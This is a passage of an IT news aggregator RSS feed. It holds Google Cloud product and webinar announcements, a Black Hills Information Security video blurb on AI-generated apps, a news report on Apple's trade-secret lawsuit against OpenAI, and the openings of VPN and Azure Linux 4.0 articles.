<li><strong>Apigee Model Context Protocol (MCP) now Generally Available<br></strong>Expose enterprise APIs as MCP tools for agentic AI applications with the General Availability of MCP in Apigee. This update allows developers to transform APIs into AI-ready tools using OpenAPI Specifications, removing the need for local MCP servers or additional infrastructure. With managed endpoints and semantic search in API hub, you can now provide AI agents with secure, governed access to enterprise data at scale.<br><br><a href="https://goo.gle/3QfoEQ4" rel="noopener" target="_blank"><em>Explore the MCP overview</em></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 6 - Apr 10</h3>
<ul>
<li><strong>Community TechTalk: Powering Retail Agents with ADK, UCP &amp; Apigee X<br></strong>Move beyond basic chatbots to secure, transactional AI experiences. Join our Community TechTalk on April 16 to learn how Apigee X and Gemini build a "Trust Layer" for AI shopping assistants using UCP standards. We’ll demonstrate how to block prompt injections with Model Armor and implement cost governance via token limits to secure the path from discovery to purchase.<br><br><a href="https://goo.gle/41ocUgq" rel="noopener" target="_blank"><span>Register for the TechTalk</span></a></li>
<li><strong>Implement multimodal capabilities in your AI agents<br></strong>Explore three new reference architectures for building sophisticated multi-agent AI systems that can process and analyze multimodal data. To analyze disparate multimodal data and produce a high-confidence classification, see <a href="https://docs.cloud.google.com/architecture/agentic-ai-classify-multimodal-data"><span>Classify multimodal data</span></a><span>. To create a fluid conversational AI that processes audio and video streams in real time, see</span> <a href="https://docs.cloud.google.com/architecture/agentic-ai-bidirectional-multimodal-streaming"><span>Enable live bidirectional multimodal streaming</span></a><span>. To consolidate fragmented multimodal data into a searchable knowledge graph, see</span> <a href="https://docs.cloud.google.com/architecture/agentic-ai-multimodal-graph-rag-resource-orchestration"><span>Multimodal GraphRAG resource orchestration</span></a><span>.</span></li>
<li><strong>Automate SecOps workflows with an agentic AI system<br></strong>To accelerate incident response and reduce manual toil for your security team, you need a system that can automate remediation playbooks. Our new reference architecture helps you build an AI agent that orchestrates complex triage and investigation workflows across disparate security tools, such as SIEM, CSPM, and EDR, from a single interface. See the full guide to <a href="https://docs.cloud.google.com/architecture/agentic-ai-orchestrate-security-ops-workflows"><span>orchestrate security operations workflows</span></a><span>.</span></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 30 - Apr 3</h3>
<ul>
<li><strong>ASEAN Webinar | April 30: Mastering Agentic Governance at Scale with GCP<br></strong>As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud experts <strong>Shilpi Puri &amp; Wely Lau</strong> for a <strong>webinar</strong> on <strong>April 30th at 11:00 AM SGT</strong> to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.<br><br><a href="https://goo.gle/47FX1Wn" rel="noopener" target="_blank"><strong>RSVP here.</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 23 - Mar 27</h3>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Turn your API sprawl into an agent-ready catalog<br></strong><span>As organizations scale, APIs often become scattered across multiple gateways, creating "blind spots" that hinder AI adoption. To solve this, we’ve introduced two new capabilities for Apigee API hub: a new integration with API Gateway to automatically centralize API metadata into a single control plane, and a specification boost add-on (now in public preview). This add-on uses AI to enhance your API documentation with the precise examples and error codes that AI agents need to function reliably.<br><br></span><a href="https://goo.gle/47dEYqc" rel="noopener" target="_blank"><span>Read the full blog post to get started.</span></a></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Webinar | April 16: AI Command &amp; Control<br></strong><span>As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud expert Satyam Maloo for a webinar on April 16th at 11:00 AM IST to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.<br><br></span><a href="https://goo.gle/4t43Vg4" rel="noopener" target="_blank"><span>RSVP here.</span></a></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Modernizing and Decoupling Event Ingestion with Apigee<br></strong><span>In modern cloud-native architectures, decoupling producers from consumers is critical for building resilient systems. While Google Cloud Pub/Sub provides a scalable backbone, exposing it directly to external clients can introduce security and management overhead. This new guide explores how to leverage Apigee as an intelligent HTTP ingestion point. Learn how to handle security, mediation, and traffic control before messages reach your internal bus using the PublishMessage policy or Pub/Sub API.</span><br><br><a href="https://goo.gle/3POgsWF" rel="noopener" target="_blank"><span>Read the full guide.</span></a></p>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 16 - Mar 20</h3>
<ul>
<li><strong>Gemini-powered Assistant in BigQuery Studio Gets Context-Aware Upgrades<br></strong>The Gemini-powered assistant in BigQuery Studio has been transformed into a fully context-aware analytics partner, supporting your entire data lifecycle. The new capabilities include intelligent resource discovery, which uses Dataplex Universal Catalog search to find resources across projects and deep dive into metadata using natural language. You can now automate tasks, such as scheduling production-grade queries directly through the chat interface, and instantly troubleshoot long-running or failed jobs with root cause analysis and cost control auditing.<br><br><a href="https://docs.cloud.google.com/bigquery/docs/use-cloud-assist">Explore</a> the full range of what the assistant can do.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 9 - Mar 13</h3>
<ul>
<li>
<div><strong>Want to use Gemini to develop code and don't know where to start?</strong><br>This <a href="https://medium.com/google-cloud/supercharge-your-spark-development-with-gemini-1540f1cb47d4" rel="noopener" target="_blank">article</a> includes a couple of examples of developing code with Gemini prompts; it identified changes that were needed to be made to get the code working. The article also refers to other examples that are available on github. </div>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 2 - Mar 6</h3>
<ul>
<li>
<p><span><strong>Introducing Gemini 3.1 Flash-Lite, our fastest and most cost-efficient Gemini 3 series model.</strong> Built for high-volume developer workloads at scale, 3.1 Flash-Lite delivers high quality for its price and model tier. Gemini 3.1 Flash-Lite can tackle tasks at scale, like high-volume translation and content moderation, where cost is a priority. And it can also handle more complex workloads where more in-depth reasoning is needed, like generating user interfaces and dashboards, creating simulations or following instructions.</span></p>
<p><span>Starting today, 3.1 Flash-Lite is rolling out in preview to enterprises via </span><a href="https://console.cloud.google.com/vertex-ai/studio/multimodal?mode=prompt&amp;model=gemini-3.1-flash-lite-preview"><span>Vertex AI</span></a><span> and </span><span>developers via the Gemini API in </span><a href="https://aistudio.google.com/prompts/new_chat?model=gemini-3.1-flash-lite-preview" rel="noopener" target="_blank"><span>Google AI Studio</span></a><span>.</span></p>
</li>
<li>
<div>
<p><strong>TechTalk: Implementing Device Authorization Grant (RFC 8628) for Apigee</strong><br>Learn how to authorize "headless" devices like Smart TVs or AI agents that lack keyboards and browsers. Join our Community TechTalk on March 19 (5PM CET / 12PM EDT) to go under the hood of Apigee X/Hybrid. We’ll cover the real-world mechanics of state management, polling, and human-in-the-loop security patterns for devices and autonomous agents.</p>
<p><a href="https://goo.gle/4r6o6Zi" rel="noopener" target="_blank">Register for the TechTalk</a></p>
</div>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Feb 23 - Feb 27</h3>
<ul>
<li>
<p><span><strong>Pro-level image generation gets faster and more accessible with Nano Banana 2<br></strong></span><span>Nano Banana 2 is our state-of-the-art image generation and editing model. It delivers Pro-level image generation and editing at the speed you expect from Flash — making the quality, reasoning, and world knowledge you loved about Nano Banana Pro more accessible. Learn more about the model </span><a href="https://blog.google/innovation-and-ai/technology/ai/nano-banana-2" rel="noopener" target="_blank"><span>here</span></a><span>.</span></p>
</li>
</ul>
<ul>
<li>
<p><strong>The Intelligent Path to Compliance: Transforming Regulatory QC with Google Cloud<br></strong><span>Reducing "Refuse to File" (RTF) risks and submission cycle times is critical for life sciences leaders. Google Cloud’s Regulatory Submission Semantic QC Auditor leverages Gemini and RAG architecture to transform Quality Control from a manual burden into an active, intelligent workflow.</span></p>
<p><span>By automating semantic cross-referencing, narrative coherence checks, and dynamic guidance-based auditing, this solution ensures rigorous accuracy and auditability. Operating within a secure GxP-ready environment, it empowers teams to detect subtle inconsistencies and generate remediation plans without sacrificing data privacy. <br><br></span><a href="https://discuss.google.dev/t/the-intelligent-path-to-compliance-transforming-regulatory-quality-control-with-google-cloud/335276" rel="noopener" target="_blank"><span>Learn more</span></a><span>.</span></p>
</li>
<li><span><span>Stop typing, start interacting! <strong>The Gemini Live Agent Challenge is here</strong>. Build immersive agents that can help you see, hear, and speak using Gemini and Google Cloud. Compete for your share of $80,000+ in prizes and a trip to Google Cloud Next '26!<br><br></span><span>Submissions are open from February 16, 2026 to March 16, 2026. Learn more and register at </span><a href="http://geminiliveagentchallenge.devpost.com/" rel="noopener" target="_blank"><span>geminiliveagentchallenge.devpost.com</span></a></span></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Feb 9 - Feb 13</h3>
<ul>
<li>
<p><strong><span>Introducing Gemini 3.1 Pro on Google Cloud. </span></strong></p>
<span>3.1 Pro is a noticeably smarter, more capable baseline for complex problem-solving. We’re shipping 3.1 Pro at scale, building upon our </span><a href="https://cloud.google.com/blog/products/ai-machine-learning/gemini-3-is-available-for-enterprise?e=48754805"><span>goal</span></a><span> to help you transform your business for the agentic future. Learn more about the model’s capabilities </span><a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-1-pro" rel="noopener" target="_blank"><span>here</span></a><span>. Gemini 3.1 Pro is available starting today in preview in </span><a href="https://cloud.google.com/vertex-ai?e=48754805"><span>Vertex AI</span></a><span> and </span><a href="https://cloud.google.com/gemini-enterprise?e=48754805"><span>Gemini Enterprise</span></a><span>. Developers can access the model in preview via the Gemini API in </span><a href="https://aistudio.google.com/prompts/new_chat?model=gemini-3.1-pro-preview" rel="noopener" target="_blank"><span>Google AI Studio</span></a><span>, </span><a href="https://developer.android.com/studio" rel="noopener" target="_blank"><span>Android Studio</span></a><span>, </span><a href="https://antigravity.google/blog/gemini-3-1-in-google-antigravity" rel="noopener" target="_blank"><span>Google Antigravity</span></a><span>, and </span><a href="https://geminicli.com/" rel="noopener" target="_blank"><span>Gemini CLI</span></a><span>.<br><br></span></li>
<li><strong>Automate Storage Compatibility with GKE Dynamic Default Storage Classes<br></strong>Managing storage across mixed-generation VM clusters in GKE just got easier. With the new <strong>Dynamic Default Storage Class</strong>, Google Kubernetes Engine automatically selects between Persistent Disk (PD) and Hyperdisk based on a node's specific hardware compatibility. This abstraction eliminates the need for complex scheduling rules and manual pairing, ensuring your volumes "just work" regardless of the underlying infrastructure. By defining both variants in a single class, you reduce operational overhead while maintaining peak performance and cost-efficiency across your entire cluster.<br><br><a href="https://docs.cloud.google.com/kubernetes-engine/docs/concepts/hyperdisk#automated_disk_type_selection" rel="noopener" target="_blank">Explore automated disk type selection</a></li>
<li>
<p><strong>Community TechTalk: AI-Powered Apigee Development with strofa.io<br></strong><strong>Join the Apigee community on February 26</strong><span> for a deep dive into</span> <a href="https://www.google.com/search?q=http://strofa.io" rel="noopener" target="_blank"><span>strofa.io</span></a><span>. Guest speaker Denis Kalitviansky will demonstrate how this new AI-powered tool automates and orchestrates Apigee development, from local emulators to large-scale hybrid environments. Discover how to scale your API management and streamline team collaboration using the latest in AI-driven automation.</span></p>
<p><a href="https://goo.gle/3Oerns3" rel="noopener" target="_blank"><span>Register now to reserve your spot.</span></a></p>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jan 26 - Jan 30</h3>
<ul>
<li><strong><span>Simplify API Governance with Native OpenAPI v3 Support<br></span></strong>Eliminate integration debt and accelerate deployment velocity with the General Availability of OpenAPI v3 (OASv3) support for API Gateway and Cloud Endpoints. You no longer need to downgrade modern specifications to OASv2. Instead, you can now define API contracts and enforce critical policies—including telemetry, quotas, and security—using native Google-specific extensions directly within your OASv3 files. This update ensures your APIs are secure by design while remaining fully compatible with the modern developer ecosystem and Google Cloud’s AI services.<br><br><a href="https://goo.gle/49Wx58Z" rel="noopener" target="_blank"><span>Get started with OpenAPI v3 on API Gateway and Cloud Endpoints.</span></a></li>
</ul>
<ul>
<li><strong><span>Accelerate API Testing with the New Open Source API Tester<br></span></strong>Start validating your APIs with API Tester, a simple, YAML-based Test Driven Development (TDD) framework. Designed for the Apigee community, this tool allows you to write human-readable tests, run them instantly via a web client or CLI, and perform deep unit testing on Apigee proxies. With native support for JSONPath assertions and Apigee shared flows, you can verify everything from payload data to internal variables like <code>proxy.basepath</code><span> without leaving your terminal.<br><br></span><a href="https://goo.gle/4q5WDGK" rel="noopener" target="_blank"><span>Explore the API Tester guide and start testing your proxies today.</span></a></li>
<li><strong><span>Secure Sensitive Data with Kubernetes Secrets in Apigee hybrid<br></span></strong>Enhance security in Apigee hybrid by accessing Kubernetes Secrets directly within your API proxies. This hybrid-exclusive feature keeps sensitive credentials within your cluster boundary and prevents replication to the management plane. It supports strict separation of duties: operators manage secrets via <code>kubectl</code><span>, while developers reference them as secure flow variables—ideal for high-compliance and GitOps workflows.<br><br></span><a href="https://goo.gle/4qEVffo" rel="noopener" target="_blank"><span>Implement Kubernetes Secrets in your hybrid proxies.</span></a></li>
<li><strong><span>See the Console in a Whole New Light: Dark Mode is Now Generally Available in Google Cloud<br></span></strong>Elevate your cloud management workflow with Dark Mode, now generally available in the Google Cloud console. We have delivered a modern, cohesive, and accessible experience reimagined for maximum comfort and productivity—especially during extended working hours and low-light environments. Dark Mode can be enabled automatically based on your operating system's preference, or manually through the Settings  -&gt; Appearance menu.<br><br><a href="https://docs.cloud.google.com/docs/get-started/console-appearance"><span>Switch to Dark Mode today to enjoy a modern, comfortable, and productive environment!</span></a></li>
<li><strong><span>Apigee X Networking: PSC or VPC Peering?<br></span></strong>Deciding how to connect Apigee X? Watch this video to compare Private Service Connect and VPC Peering. We break down northbound and southbound routing, IP consumption, and how to reach targets on-prem or in the cloud. Learn to simplify your architecture and avoid common networking "gotchas" for a smoother deployment.<br><br><a href="https://goo.gle/4bWBGdV" rel="noopener" target="_blank"><span>Watch the video.</span></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jan 19 - Jan 23</h3>
<ul>
<li><strong>Bridge the Gap: Excel-to-API Conversion in Apigee Portals<br></strong><span>Give your customers more ways to connect! This new article by Tyler Ayers explores how to extend the Apigee Integrated Portal to support direct Excel file uploads. By leveraging SheetJS and custom portal scripts, you can enable users to upload spreadsheets, preview data, and submit it directly to your APIs, all without writing a single line of integration code themselves. It’s a powerful way to simplify onboarding for those who aren't yet API-ready.<br><br></span><a href="https://goo.gle/3Nq3Pjo" rel="noopener" target="_blank"><span>Learn how to build it</span></a><span>.</span></li>
<li><strong>Elevate your applications with Firestore’s new advanced query engine<br></strong><span>We have fundamentally reimagined Firestore with pipeline operations for Enterprise edition. Experience a powerful new engine featuring over a hundred new query features, index-less queries, new index types, and observability tooling to improve query performance. Seamlessly migrate using built-in tools and leverage Firestore’s existing differentiated serverless foundation, virtually unlimited scale, and industry-leading SLA. Join a community of 600K developers to craft expressive applications that maximize the benefits of rich queryability, real-time listen queries, robust offline caching, and cutting-edge AI-assistive coding integrations.<br><br></span><a href="https://cloud.google.com/blog/products/data-analytics/new-firestore-query-engine-enables-pipelines?e=48754805"><span>Learn more about Firestore pipeline operations.</span></a></li>
</ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Turned Everyone Into a Developer — Now Security Has to Catch Up | BHIS In Focus]]></title>
<description><![CDATA[Author: Black Hills Information Security - Bewertung: 0x - Views:4 What happens when a company goes from having no developers to nearly 100 people building apps with AI?

In this BHIS In Focus short, we look at the new reality security teams are facing: employees with little or no coding experien...]]></description>
<link>https://tsecurity.de/de/3661995/it-security-video/ai-turned-everyone-into-a-developer-now-security-has-to-catch-up-bhis-in-focus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661995/it-security-video/ai-turned-everyone-into-a-developer-now-security-has-to-catch-up-bhis-in-focus/</guid>
<pubDate>Sat, 11 Jul 2026 16:18:30 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Black Hills Information Security - Bewertung: 0x - Views:4 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/8PYGn8sxxyA?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>What happens when a company goes from having no developers to nearly 100 people building apps with AI?<br />
<br />
In this BHIS In Focus short, we look at the new reality security teams are facing: employees with little or no coding experience are now using AI to create internal tools, workflows, and applications at speed.<br />
<br />
That opens up incredible possibilities — but it also creates a major security challenge. If someone can build an app without knowing what language it was written in, security teams need new ways to assess, review, and manage AI-generated software.<br />
<br />
#BHISInFocus #AISecurity #Cybersecurity #AIApps #InfoSec #SecureCoding<br />
<br />
/// 🔗 Register for webcasts, summits, and workshops - <br />
https://poweredbybhis.com <br />
 <br />
///Black Hills Infosec Socials<br />
Twitter: https://twitter.com/BHinfoSecurity<br />
Mastodon: https://infosec.exchange/@blackhillsinfosec<br />
LinkedIn: https://www.linkedin.com/company/antisyphon-training<br />
Discord: https://discord.gg/ffzdt3WUDe<br />
<br />
///Black Hills Infosec Shirts & Hoodies<br />
https://spearphish-general-store.myshopify.com/collections/bhis-shirt-collections<br />
<br />
///Black Hills Infosec Services<br />
Active SOC: https://www.blackhillsinfosec.com/services/active-soc/<br />
Penetration Testing: https://www.blackhillsinfosec.com/services/<br />
Incident Response: https://www.blackhillsinfosec.com/services/incident-response/<br />
<br />
///Backdoors & Breaches - Incident Response Card Game<br />
Backdoors & Breaches: https://www.backdoorsandbreaches.com/<br />
Play B&B Online: https://play.backdoorsandbreaches.com/<br />
<br />
///Antisyphon Training<br />
Pay What You Can: https://www.antisyphontraining.com/pay-what-you-can/<br />
Live Training: https://www.antisyphontraining.com/course-catalog/<br />
On Demand Training: https://www.antisyphontraining.com/on-demand-course-catalog/<br />
Antisyphon Discord: https://discord.gg/antisyphon<br />
Antisyphon Mastodon: https://infosec.exchange/@Antisy_Training<br />
<br />
///Educational Infosec Content<br />
Black Hills Infosec Blogs: https://www.blackhillsinfosec.com/blog/<br />
Wild West Hackin' Fest YouTube: https://www.youtube.com/wildwesthackinfest<br />
Antisyphon Training YouTube: https://www.youtube.com/antisyphontraining<br />
Active Countermeasures YouTube: https://youtube.com/activecountermeasures<br />
Threat Hunter Community Discord: https://discord.gg/threathunter<br />
<br />
Join us at the annual information security conference in Deadwood, SD (in-person and virtually) — Wild West Hackin' Fest: https://wildwesthackinfest.com/<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘Rotten to its core’ — Apple files an explosive lawsuit against OpenAI]]></title>
<description><![CDATA[Apple surprised the tech industry after financial markets closed Friday with news the company has sued OpenAI, alleging theft of trade secrets for ChatGPT hardware. The lawsuit particularly targets some senior ex-Apple employees now working at OpenAI.



Apple’s suit names two former employees — ...]]></description>
<link>https://tsecurity.de/de/3661897/it-nachrichten/rotten-to-its-core-apple-files-an-explosive-lawsuit-against-openai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661897/it-nachrichten/rotten-to-its-core-apple-files-an-explosive-lawsuit-against-openai/</guid>
<pubDate>Sat, 11 Jul 2026 15:17:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Apple surprised the tech industry after financial markets closed Friday with news the company has sued OpenAI, alleging theft of trade secrets for <a href="https://www.computerworld.com/article/4163748/openai-plans-its-own-iphone-killer.html">ChatGPT hardware</a>. <a href="https://daringfireball.net/misc/2026/06/Apple_Inc._v._Chang_Liu_et_al.pdf" data-type="link" data-id="https://daringfireball.net/misc/2026/06/Apple_Inc._v._Chang_Liu_et_al.pdf" target="_blank" rel="noreferrer noopener">The lawsuit</a> particularly targets some senior ex-Apple employees now working at OpenAI.</p>



<p>Apple’s suit names two former employees — Chang Liu and <a href="https://www.cnbctv18.com/technology/who-is-tang-tan-the-iphone-and-apple-watch-lead-designer-who-is-likely-to-leave-soon-18536121.htm" target="_blank" rel="noreferrer noopener">Tang Tan</a>, former vice president for product design, iPhone and Apple Watch — as well as OpenAI and that company’s recently-acquired firm, io Products, alleging “trade secret misappropriation and breach of contract.” </p>



<p>Jony Ive, who <a href="https://openai.com/sam-and-jony/" target="_blank" rel="noreferrer noopener">sold io Products to OpenAI</a>, is not named in the lawsuit, though it seems relevant that Tan was one of the senior ex-Apple executives who <a href="https://www.computerworld.com/article/3992592/jony-ive-and-openai-plan-bicycles-for-21st-century-minds.html">founded that company</a>.</p>



<p>For its part, OpenAI issued a brief statement in response to the litigation. “We have no interest in other companies’ trade secrets,” the company said. “We remain focused on building innovative technology that empowers people everywhere.”</p>



<h2 class="wp-block-heading"><strong>The allegations against Tan</strong></h2>



<p>Some of the claims and allegations included in Apple’s lawsuit include:</p>



<ul class="wp-block-list">
<li>That in the months before leaving Apple, Tan met with OpenAI or its collaborators and discussed meetings with a key Apple supplier.</li>



<li>He emailed himself information about suppliers and internal summaries.</li>



<li>When interviewing former Apple staffers for jobs, he used confidential information, such as internal project code names, to gain even more knowledge.</li>



<li>He asked candidates to bring actual parts from Apple to interviews to discuss — and a then-Apple employee screenshotted and downloaded files concerning a highly confidential Apple project before attending an OpenAI recruitment session.</li>



<li>Tan asked Apple employees to bring CAD/design artifacts to their interviews.</li>



<li>Tan allegedly instructed new hires on how to avoid scrutiny when leaving Apple, such as instructing them not to tell the company they had taken jobs at OpenAI.</li>
</ul>



<h2 class="wp-block-heading"><strong>The ‘so funny’ laptop bug</strong></h2>



<p>The lawsuit also claimed that after quitting Apple for OpenAI in January 2026, Chang Liu managed to keep or “otherwise acquire” an Apple-issued notebook which he used to access confidential data on the company’s private network while at OpenAI. “LOL, I found out I can access the [server], so funny,” Liu texted a friend still working at Apple. </p>



<p>The suit alleges that he made no effort to report the situation, which was a bug in the system he had uncovered. Apple eventually discovered the exfiltration was taking place and took steps to prevent it, but Liu allegedly downloaded more than 1,000 pages of data, including “confidential technical presentations, spreadsheets, PDFs, and written work product,” Apple said.</p>



<p>“Only OpenAI and Mr. Liu know all the ways they have been exploiting the trove of Apple confidential information he stole, and to the extent they have not concealed or destroyed the evidence of these misappropriations, it will be investigated thoroughly in discovery.” </p>



<p>Apple’s lawsuit also alleges Liu was simultaneously coaching a current Apple employee named Alyssa Peng on how to copy files from Apple workstations without triggering the security team, asking her to get specific confidential information and using Apple’s stolen data to help her get ready for an eventual OpenAI interview.</p>



<h2 class="wp-block-heading"><strong>Why this could get bigger</strong></h2>



<p>There’s much in the litigation that it will garner serious international attention as it unfolds. Apple’s argues that a competitor with access to so much of its own proprietary information could “bypass years of independent research and development, skip the capital expenditure required to build genuine expertise, and bring products to market faster and at lower cost, harming the value of Apple’s investments.”</p>



<p>It’s not just the secrets behind actively-used processes Apple is protecting; the company is also asserting its rights to regain control of information it has assembled over time concerning processes and manufacturing attempts that have failed. That’s understandable – you can invest a lot of money in finding out what doesn’t work and knowing that is a trade secret in itself. </p>



<p>“OpenAI coaches candidates to prepare for their interviews by studying Apple’s confidential engineering documentation, internal presentations, and proprietary technical materials,” the litigation claims. “OpenAI then uses its insider Apple information to ask detailed questions to extract more: about Apple’s proprietary tools, vendor management processes, engineering methodologies, manufacturing workflows, and supplier relationships, for example.</p>



<p>“OpenAI has turned to trade secret misappropriation to free-ride off Apple’s decades of innovation,” Apple said. “This is the tip of the iceberg.” </p>



<p>The lawsuit also confirms that Apple often designs and customizes the specialized machinery used in its suppliers’ factories, and that trade secrets concerning those efforts have been grabbed. The suit notes that OpenAI works with established Apple suppliers Foxconn, Luxshare, and Goertek on its own hardware.</p>



<p>If true, these allegations go right to the top of <a href="https://www.applemust.com/openai-discovers-it-takes-time-not-just-design-to-build-great-hardware/#google_vignette" target="_blank" rel="noreferrer noopener">OpenAI’s hardware development plans</a>. Tan is now OpenAI’s Chief Hardware Officer.</p>



<p>The lawsuit points out that OpenAI now employs more than 400 Apple engineers and executives (including the company’s former <a href="https://www.applemust.com/apples-vision-pro-vp-makes-move-to-openai/" target="_blank" rel="noreferrer noopener">Vision Pro Vice President</a>), suggesting its entire approach to hardware recruitment is based on extracting Apple’s proprietary knowledge from potential hires. </p>



<p>“Apple lacks visibility into what’s been happening behind closed doors at OpenAI, where such misconduct is normalized and exemplified by leadership,” the lawsuit argues. “This much is clear, however: at every level, from members of its Technical Staff to its Chief Hardware Officer, and in coordination with business partners, OpenAI has been stealing Apple’s trade secrets and confidential information. As a natural result, OpenAI’s nascent hardware business now rests on the shakiest of foundations, rotten to its core by its illegal reliance on misappropriated trade secrets.”</p>



<p><em>You can follow me on social media! Join me on</em><em> </em><em><a href="https://bsky.app/profile/jonnyevanssays.bsky.social">BlueSky</a>,</em><em> </em><em><a href="http://www.linkedin.com/in/jonnyevans">LinkedIn</a>,</em><em> </em><em><a href="https://social.vivaldi.net/@jonnyevans">Mastodon</a>,</em><em> </em><em>and subscribe to</em><em> </em><em><a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[A VPN Can Only Protect Your Privacy So Much. Here’s What to Consider]]></title>
<description><![CDATA[A VPN is a powerful privacy tool, but knowing what one can and can't do is important for protecting yourself online.]]></description>
<link>https://tsecurity.de/de/3661880/it-nachrichten/a-vpn-can-only-protect-your-privacy-so-much-heres-what-to-consider/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661880/it-nachrichten/a-vpn-can-only-protect-your-privacy-so-much-heres-what-to-consider/</guid>
<pubDate>Sat, 11 Jul 2026 15:03:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A VPN is a powerful privacy tool, but knowing what one can and can't do is important for protecting yourself online.]]></content:encoded>
</item>
<item>
<title><![CDATA[Azure Linux 4.0 Released: Microsoft Expands Its Enterprise Linux Platform Beyond the Cloud]]></title>
<description><![CDATA[by George Whittaker
      
            Microsoft has officially unveiled Azure Linux 4.0, the latest version of its open-source Linux distribution designed for cloud infrastructure, enterprise workloads, and modern data centers. Formerly known as CBL-Mariner, Azure Linux has powered Microsoft's i...]]></description>
<link>https://tsecurity.de/de/3660252/unix-server/azure-linux-40-released-microsoft-expands-its-enterprise-linux-platform-beyond-the-cloud/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660252/unix-server/azure-linux-40-released-microsoft-expands-its-enterprise-linux-platform-beyond-the-cloud/</guid>
<pubDate>Fri, 10 Jul 2026 17:46:49 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-history-node-id="1341443" class="layout layout--onecol">
    <div class="layout__region layout__region--content">
      
            <div class="field field--name-field-node-image field--type-image field--label-hidden field--item">  <img loading="lazy" src="https://www.linuxjournal.com/sites/default/files/nodeimage/story/azure-linux-4-0-released-microsoft-expands-its-enterprise-linux-platform-beyond-the-cloud.jpg" width="850" height="500" alt="Azure Linux 4.0 Released: Microsoft Expands Its Enterprise Linux Platform Beyond the Cloud" typeof="foaf:Image" class="img-responsive"></div>
      
            <div class="field field--name-node-author field--type-ds field--label-hidden field--item">by <a title="View user profile." href="https://www.linuxjournal.com/users/george-whittaker" lang="" about="https://www.linuxjournal.com/users/george-whittaker" typeof="schema:Person" property="schema:name" datatype="" xml:lang="">George Whittaker</a></div>
      
            <div class="field field--name-body field--type-text-with-summary field--label-hidden field--item"><p>Microsoft has officially unveiled <strong>Azure Linux 4.0</strong>, the latest version of its open-source Linux distribution designed for cloud infrastructure, enterprise workloads, and modern data centers. Formerly known as <strong>CBL-Mariner</strong>, Azure Linux has powered Microsoft's internal cloud services for years, but version 4.0 marks its biggest evolution yet by becoming a <strong>general-purpose server operating system</strong> that organizations can deploy both inside and outside Azure.</p>

